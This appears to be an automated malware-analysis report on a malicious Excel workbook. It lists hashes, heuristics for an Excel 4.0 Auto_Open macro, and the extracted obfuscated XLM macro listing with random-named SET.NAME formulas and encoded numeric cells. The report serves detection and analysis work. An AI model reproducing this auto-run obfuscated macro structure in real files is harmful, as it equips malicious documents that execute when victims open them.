Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6152a069221dbd19…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:06 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e51c09f111a38419810f73b28706508d SHA-1: c6e7700ac921a6b60d8f4120ab98117168ab77fe SHA-256: 6152a069221dbd1974fca7cd3e444cdf6e7e1ea2ac3868fa450aa40ddd6a78db
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: 8c63a4a0d4b9344fc9577a824958ac3002be17137422e4c728f225eaf8dc4840
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  haaF
' 0018     21 LABEL : Cell Value, String Constant - AttAFD len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D158 
' 0018     24 LABEL : Cell Value, String Constant - aXXMKItPp len=0 
' 0018     20 LABEL : Cell Value, String Constant - BCopb len=0 
' 0018     23 LABEL : Cell Value, String Constant - CdFUOPsf len=0 
' 0018     24 LABEL : Cell Value, String Constant - CTHxYNFJl len=0 
' 0018     26 LABEL : Cell Value, String Constant - eDfaGmxwxvf len=0 
' 0018     23 LABEL : Cell Value, String Constant - GEzscIfa len=0 
' 0018     27 LABEL : Cell Value, String Constant - HhEhcrgOZtks len=0 
' 0018     22 LABEL : Cell Value, String Constant - IgVQrhW len=0 
' 0018     21 LABEL : Cell Value, String Constant - mRYAbb len=0 
' 0018     26 LABEL : Cell Value, String Constant - NtoYgYdsHVx len=0 
' 0018     21 LABEL : Cell Value, String Constant - oANGgT len=0 
' 0018     20 LABEL : Cell Value, String Constant - pdMbO len=0 
' 0018     21 LABEL : Cell Value, String Constant - tVSXNZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - WiWfdtsm len=0 
' 0018     23 LABEL : Cell Value, String Constant - wlTBVDjr len=0 
' 0018     27 LABEL : Cell Value, String Constant - WnbIJUrnfTzH len=0 
' 0018     22 LABEL : Cell Value, String Constant - xthHttc len=0 
' 0018     21 LABEL : Cell Value, String Constant - YVZSuV len=0 
' 0018     21 LABEL : Cell Value, String Constant - zBPTgF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  haaF,D60,"SET.NAME("mRYAbb",0+VALUE("0"))",""
'  haaF,D65,"SET.NAME("CTHxYNFJl",mRYAbb)",""
'  haaF,D70,"SET.NAME("GEzscIfa",mRYAbb)",""
'  haaF,D72,"SET.NAME("YVZSuV",COUNTA(WiWfdtsm))",""
'  haaF,D74,"SET.NAME("AttAFD",COUNTA(pdMbO))",""
'  haaF,D78,[],""
'  haaF,D83,"SET.NAME("WnbIJUrnfTzH","")",""
'  haaF,D87,"CTHxYNFJl",""
'  haaF,D91,"SET.NAME("CdFUOPsf",HLOOKUP("*",WiWfdtsm,CTHxYNFJl,FALSE))",""
'  haaF,D94,"tVSXNZ",""
'  haaF,D98,"SET.NAME("eDfaGmxwxvf",mRYAbb)",""
'  haaF,S98,"",798.00000000000000000000
'  haaF,S99,"",-189.00000000000000000000
'  haaF,S100,"",223.00000000000000000000
'  haaF,S101,"",36.00000000000000000000
'  haaF,D102,[],""
'  haaF,S102,"",-474.00000000000000000000
'  haaF,S103,"",-256.00000000000000000000
'  haaF,D107,"eDfaGmxwxvf",""
'  haaF,D109,"aXXMKItPp",""
'  haaF,D114,"BCopb",""
'  haaF,D119,"HhEhcrgOZtks",""
'  haaF,D123,"SET.NAME("NtoYgYdsHVx",VALUE(HLOOKUP("*",pdMbO,HhEhcrgOZtks,FALSE)))",""
'  haaF,D127,"IgVQrhW",""
'  haaF,D131,"WnbIJUrnfTzH",""
'  haaF,D135,"GEzscIfa",""
'  haaF,D137,NEXT(),""
'  haaF,D140,"wlTBVDjr",""
'  haaF,D143,[],""
'  haaF,D148,"xthHttc",""
'  haaF,D153,NEXT(),""
'  haaF,D155,RETURN(),""
'  haaF,D182,"SET.NAME("oANGgT",D60)",""
'  haaF,D185,"WiWfdtsm",""
'  haaF,D187,"SET.NAME("pdMbO",R92C11)",""
'  haaF,D192,"SET.NAME("xthHttc",198)",""
'  haaF,D194,"SET.NAME("zBPTgF",4)",""
'  haaF,D197,oANGgT(),""
'  haaF,D198,HALT(),""

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